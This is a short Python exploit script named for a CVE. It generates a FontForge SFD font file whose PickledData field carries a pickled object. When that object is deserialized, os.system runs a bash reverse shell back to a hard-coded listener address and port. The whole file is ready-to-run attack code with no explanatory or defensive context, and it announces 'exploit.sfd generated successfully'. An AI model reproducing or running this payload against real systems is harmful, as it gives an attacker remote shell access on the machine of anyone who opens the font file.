CVE-2025-15276-rce.py

import os
import pickle

LHOST = "10.10.17.34"
LPORT = "5555"

# for Reverse shell
cmd = f"bash -c 'bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1'"

class Exploit(object):
    def __reduce__(self):
        return (os.system, (cmd,))

# Serialize the exploit class (Protocol 0 for ASCII compatibility)
payload = pickle.dumps(Exploit(), protocol=0).decode('ascii')

# Escape for SFD format (FontForge expects escaped backslashes and quotes)
escaped_payload = payload.replace('\\', '\\\\').replace('"', '\\"')

# Construct a minimal SFD file
sfd_content = f"""SplineFontDB: 3.2
FontName: Exploit
FullName: Exploit
FamilyName: Exploit
Weight: Regular
Version: 001.000
PickledData: "{escaped_payload}"
BeginChars: 256 0
EndChars
EndSplineFont
"""

with open("exploit.sfd", "w") as f:
    f.write(sfd_content)

print("[+] exploit.sfd generated successfully!")
print(f"[+] Payload: {cmd}")